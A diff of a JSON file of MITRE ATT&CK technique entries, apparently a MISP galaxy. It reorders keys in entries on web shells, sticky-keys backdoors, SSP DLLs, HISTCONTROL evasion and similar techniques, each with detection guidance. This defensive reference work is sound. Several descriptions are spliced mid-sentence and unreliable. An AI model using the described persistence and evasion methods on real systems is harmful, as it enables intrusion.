+ "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
+ ],
+ "uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d"
+ },
+ "value": "Bootkit"
},
{
"description": "Adversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\nDetection: File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system will require different detection mechanisms.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Indicator Removal on Host",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "799ace7f-e227-4411-baa0-8868704f2a69",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1070"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3966,36 +3967,36 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1070"
+ ],
+ "uuid": "799ace7f-e227-4411-baa0-8868704f2a69"
+ },
+ "value": "Indicator Removal on Host"
},
{
"description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: MacOS, OS X",
- "value": "Re-opened Applications",
"meta": {
"mitre_platforms": [
"MacOS",
"OS X"
],
- "uuid": "0ed9e79b-293a-41aa-ae4c-10d74fd95ba6",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1164",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
- ]
- }
+ ],
+ "uuid": "0ed9e79b-293a-41aa-ae4c-10d74fd95ba6"
+ },
+ "value": "Re-opened Applications"
},
{
"description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Exfiltration Over Other Network Medium",
"meta": {
"mitre_data_sources": [
"User interface",
"Process monitoring"
],
- "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1011"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4012,22 +4013,22 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1011"
+ ],
+ "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87"
+ },
+ "value": "Exfiltration Over Other Network Medium"
},
{
"description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Command-Line Interface, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Data from Local System",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1005"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4044,12 +4045,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1005"
+ ],
+ "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5"
+ },
+ "value": "Data from Local System"
},
{
"description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload:cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.[[Citation: US-CERT Alert TA15-314A Web Shells]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow, Anti-virus\n\nEffective Permissions: User, SYSTEM",
- "value": "Web Shell",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -4058,12 +4063,6 @@
"Netflow/Enclave netflow",
"Anti-virus"
],
- "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1100",
- "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
- "https://www.us-cert.gov/ncas/alerts/TA15-314A"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4080,24 +4079,24 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1100",
+ "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
+ "https://www.us-cert.gov/ncas/alerts/TA15-314A"
+ ],
+ "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df"
+ },
+ "value": "Web Shell"
},
{
"description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Services, Process command-line parameters\n\nEffective Permissions: SYSTEM",
- "value": "Service Registry Permissions Weakness",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"Services",
"Process command-line parameters"
],
- "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1058",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4111,12 +4110,18 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1058",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx"
+ ],
+ "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427"
+ },
+ "value": "Service Registry Permissions Weakness"
},
{
"description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials.Net, on the command-line interface and [[Discovery]] techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Authentication logs, Process monitoring, Process command-line parameters",
- "value": "Windows Admin Shares",
"meta": {
"mitre_data_sources": [
"Process use of network",
@@ -4124,7 +4129,20 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "ffe742ed-9100-4686-9e00-c331da544787",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1077",
"http://support.microsoft.com/kb/314984",
@@ -4134,46 +4152,33 @@
"https://technet.microsoft.com/bb490717.aspx",
"http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "ffe742ed-9100-4686-9e00-c331da544787"
+ },
+ "value": "Windows Admin Shares"
},
{
"description": "Winlogon is a part of some Windows versions that performs actions at logon. In Windows systems prior to Windows Vista, a Registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup for persistence.\n\nDetection: Monitor for changes to registry entries in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values.[[Citation: TechNet Autoruns]] New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows XP, Windows Server 2003 R2\n\nData Sources: Windows Registry, File monitoring, Process monitoring",
- "value": "Winlogon Helper DLL",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"File monitoring",
"Process monitoring"
],
- "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1004",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows XP",
"Windows Server 2003 R2"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1004",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ ],
+ "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79"
+ },
+ "value": "Winlogon Helper DLL"
},
{
"description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol.Net can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2012, Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network",
- "value": "Network Share Discovery",
"meta": {
"mitre_data_sources": [
"Process Monitoring",
@@ -4181,12 +4186,6 @@
"Network protocol analysis",
"Process use of network"
],
- "uuid": "68cc93f6-58ca-413b-92ae-2d0a65ed6e52",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1135",
- "https://en.wikipedia.org/wiki/Shared%20resource",
- "https://technet.microsoft.com/library/cc770880.aspx"
- ],
"mitre_platforms": [
"Windows 10",
"Windows 7",
@@ -4202,20 +4201,22 @@
"Windows Vista",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1135",
+ "https://en.wikipedia.org/wiki/Shared%20resource",
+ "https://technet.microsoft.com/library/cc770880.aspx"
+ ],
+ "uuid": "68cc93f6-58ca-413b-92ae-2d0a65ed6e52"
+ },
+ "value": "Network Share Discovery"
},
{
"description": "An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through [[Discovery]] techniques prior to attempting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs",
- "value": "Remote Services",
"meta": {
"mitre_data_sources": [
"Authentication logs"
],
- "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1021"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4232,53 +4233,53 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1021"
+ ],
+ "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba"
+ },
+ "value": "Remote Services"
},
{
"description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen.Remote Desktop Protocol will cause the replaced file to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges.[[Citation: Tilbury 2014]]\n\nOther accessibility features exist that may also be leveraged in a similar fashion:[[Citation: DEFCON2016 Sticky Keys]]\n\n*On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n*Magnifier: C:\\Windows\\System32\\Magnify.exe\n*Narrator: C:\\Windows\\System32\\Narrator.exe\n*Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n*App Switcher: C:\\Windows\\System32\\AtBroker.exe\n\nDetection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring\n\nEffective Permissions: SYSTEM\n\nContributors: Paul Speulstra, AECOM Global Security Operations Center",
- "value": "Accessibility Features",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"File monitoring",
"Process monitoring"
],
- "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1015",
"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3"
+ },
+ "value": "Accessibility Features"
},
{
"description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nDetection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to [[Command and Control]] and possible network [[Discovery]] techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring",
- "value": "Taint Shared Content",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
],
- "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1080"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4292,21 +4293,20 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1080"
+ ],
+ "uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c"
+ },
+ "value": "Taint Shared Content"
},
{
"description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.\n\nAdversaries may use remote services to access and persist within a network.Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Daniel Oakley",
- "value": "External Remote Services",
"meta": {
"mitre_data_sources": [
"Authentication logs"
],
- "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1133",
- "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4320,22 +4320,23 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1133",
+ "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
+ ],
+ "uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d"
+ },
+ "value": "External Remote Services"
},
{
"description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process use of network, Process monitoring",
- "value": "Application Deployment Software",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process use of network",
"Process monitoring"
],
- "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1017"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4352,22 +4353,22 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1017"
+ ],
+ "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61"
+ },
+ "value": "Application Deployment Software"
},
{
"description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Data loss prevention, Process command-line parameters",
- "value": "Automated Collection",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Data loss prevention",
"Process command-line parameters"
],
- "uuid": "30208d3e-0d6b-43c8-883e-44462a514619",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1119"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4384,24 +4385,22 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1119"
+ ],
+ "uuid": "30208d3e-0d6b-43c8-883e-44462a514619"
+ },
+ "value": "Automated Collection"
},
{
"description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n[[Citation: Graeber 2014]]\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs",
- "value": "Security Support Provider",
"meta": {
"mitre_data_sources": [
"DLL monitoring",
"Windows Registry",
"Loaded DLLs"
],
- "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1101",
- "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "https://technet.microsoft.com/en-us/library/dn408187.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4415,12 +4414,18 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1101",
+ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
+ "https://technet.microsoft.com/en-us/library/dn408187.aspx"
+ ],
+ "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446"
+ },
+ "value": "Security Support Provider"
},
{
"description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable",
- "value": "HISTCONTROL",
"meta": {
"mitre_data_sources": [
"Process Monitoring",
@@ -4428,20 +4433,20 @@
"File monitoring",
"Environment variable"
],
- "uuid": "b2a23bbd-1a12-4e1e-a985-b0cad55a5c91",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1148"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1148"
+ ],
+ "uuid": "b2a23bbd-1a12-4e1e-a985-b0cad55a5c91"
+ },
+ "value": "HISTCONTROL"
},
{
"description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata",
- "value": "Rundll32",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -4449,10 +4454,6 @@
"Process command-line parameters",
"Binary file metadata"
],
- "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1085"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -4466,22 +4467,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1085"
+ ],
+ "uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5"
+ },
